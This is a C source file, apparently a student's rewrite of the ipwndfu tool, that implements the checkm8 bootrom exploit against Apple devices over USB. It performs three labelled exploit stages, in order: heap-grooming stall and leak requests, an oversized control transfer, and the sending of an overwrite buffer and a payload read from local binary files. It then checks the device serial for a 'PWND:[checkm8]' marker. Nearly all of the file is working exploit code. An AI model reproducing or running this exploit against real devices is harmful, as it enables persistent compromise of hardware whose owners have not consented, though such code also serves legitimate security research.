#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "checkm8.h"
#include "libusb_helpers.h"

int complete_stage(struct libusb_device_bundle *bundle, int stage_function(struct libusb_device_bundle *bundle))
{
    libusb_open(bundle->device, &bundle->handle);
    libusb_set_auto_detach_kernel_driver(bundle->handle, 1);

    int ret = stage_function(bundle);
    libusb_close(bundle->handle);

    return ret;
}

int stage1_function(struct libusb_device_bundle *bundle)
{
    printf("~~~ Exploit stage 1 ~~~\n");
    unsigned int i;

    stall(bundle->handle);
    for(i = 0; i < 5; i++)
    {
        no_leak(bundle->handle);
    }
    usb_req_leak(bundle->handle);
    no_leak(bundle->handle);

    libusb_reset_device(bundle->handle);

    return 0;
}

int stage2_function(struct libusb_device_bundle *bundle)
{
    printf("~~~ Exploit stage 2 ~~~\n");
    unsigned char databuf[0x800];
    memset(databuf, 'A', 0x800);

    libusb1_async_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, databuf, 0x800, 1);
    libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 4, 0, 0, NULL, 0, 0);

    libusb_reset_device(bundle->handle);

    return 0;
}

int stage3_function(struct libusb_device_bundle *bundle)
{
    printf("~~~ Exploit stage 3 ~~~\n");
    unsigned char overwrite_buf[1524];
    FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/exploit/bin/overwrite.bin", "r");
    fread(overwrite_buf, 1524, 1, overwrite_file);
    fclose(overwrite_file);

    unsigned char payload_buf[2400];
    FILE *payload_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/exploit/bin/payload.bin", "r");
    fread(payload_buf, 2400, 1, payload_file);
    fclose(payload_file);

    usb_req_stall(bundle->handle);
    usb_req_leak(bundle->handle);

    libusb1_no_error_ctrl_transfer(bundle->handle, 0, 0, 0, 0, overwrite_buf, 1524, 100);
    libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, payload_buf, 2048, 100);
    libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);

    libusb_reset_device(bundle->handle);
    return 0;
}

int check_function(struct libusb_device_bundle *bundle)
{
    unsigned char serial_buf[128];
    unsigned int i;
    struct libusb_device_handle *handle = bundle->handle;
    struct libusb_device_descriptor desc = bundle->descriptor;

    libusb_get_string_descriptor_ascii(handle, desc.iSerialNumber, serial_buf, sizeof(serial_buf));
    printf("Found device with serial %s\n", serial_buf);

    for(i = 0; i < 13; i++)
    {
        if(serial_buf[99 + i] != "PWND:[checkm8]"[i])
        {
            return 1;
        }
    }

    return 0;
}

int exploit_device()
{
    libusb_context *usb_ctx = NULL;
    struct libusb_device_bundle usb_bundle;

    libusb_init(&usb_ctx);
    get_test_device(usb_ctx, &usb_bundle);

    int ret = complete_stage(&usb_bundle, stage1_function);
    if(ret == 0)
    {
        ret = complete_stage(&usb_bundle, stage2_function);
        usleep(500000);
    }

    if(ret == 0)
    {
        ret = complete_stage(&usb_bundle, stage3_function);
        usleep(500000);
    }

    if(ret == 0)
    {
        ret = complete_stage(&usb_bundle, check_function);
    }

    libusb_exit(usb_ctx);
    return ret;
}